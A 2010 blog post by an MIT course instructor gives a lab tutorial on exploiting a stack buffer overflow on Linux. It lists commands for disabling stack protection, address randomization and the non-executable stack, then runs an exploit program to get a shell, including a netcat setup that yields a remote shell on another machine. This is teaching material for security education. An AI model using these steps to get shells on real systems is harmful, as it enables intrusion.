[ 2010-April-27 16:41 ]
I am a recitation instructor for MIT's 6.033 course this semester, which basically involves discussing "notable" computer science papers with approximately 50 students every week. This week we discussed buffer overflows. To refresh my memory, I dug up my previous work with a buffer exploit challenge, simplifying it and revisiting it for modern Linux. Here is a brief introduction to how to exploit a buffer overflow on a Linux system. This works on both 32-bit and 64-bit systems, although 64-bit systems may need an offset to be manually updated.
- Compile buffer.c: gcc -o buffer buffer.c
- Run it and crash it by typing in more than 1 line of characters. I get:
*** stack smashing detected ***: ./buffer terminated
- Compile it without stack smashing protection: gcc -fno-stack-protector -U_FORTIFY_SOURCE -o buffer buffer.c (see Ubuntu's compile flag documentation for more information about these options).
- Crash it by typing more than 1 line of characters. I now get Segmentation fault, as expected. However, notice that each time you run it, the buffer address changes.
- (Optional): Look at the assembly code: gcc -S -fno-stack-protector -U_FORTIFY_SOURCE -Os buffer.c. The source is in buffer.s.
- Disable address space randomization: sudo /bin/sh -c "echo 0 > /proc/sys/kernel/randomize_va_space". You may want to re-enable this when you are done, changing this command to echo 1.
- Run ./buffer and the buffer's address should now be constant (on my 32-bit machine, it is always 0xbffff4c4).
- Compile hack.c: gcc -o hack hack.c
- Crash ./buffer with the hack: ./hack [buffer address] [diff] | ./buffer
- On a modern machine, particularly 64-bit machines, you may get Segmentation fault. This may mean you need to disable the no execute stack by adding -Wa,--execstack to the compile command line. You can verify that it worked with execstack -q buffer. It should show an X in front of the binary name.
- If you are running on a 64-bit machine, the diff parameter is useless, due to the way that parameters are passed. This means you might need to hack the hard coded offset in hack.c. Sorry.
- Ideally, you now have a shell: try typing ls. Typing CTRL-D will terminate it. This isn't too exciting, but if buffer had been connected to the network, this would be a shell on another computer. You can actually sort of make this work. On one computer, run nc -l -p 12345 -e ./buffer. This listens on port 12345 and will execute ./buffer when something connects. On another computer, run ./hack [buffer address] [diff] | nc [buffer machine name/ip] 12345. You now have a shell controlling the other computer.
If you need some help writing your "shell code" in assembly (I did), you may find the following resources useful:
Some random GDB tips for assembly debugging:
- Set a breakpoint at a memory address: b *0xDEADBEEF
- Step to the next instruction: si (ni will skip subroutines)
- Examine memory: x/80bx [address]: print 80 bytes in hex. x/gx [address]: Print a "giant" 8 byte value
- Disassemble: disass [start address] [end address]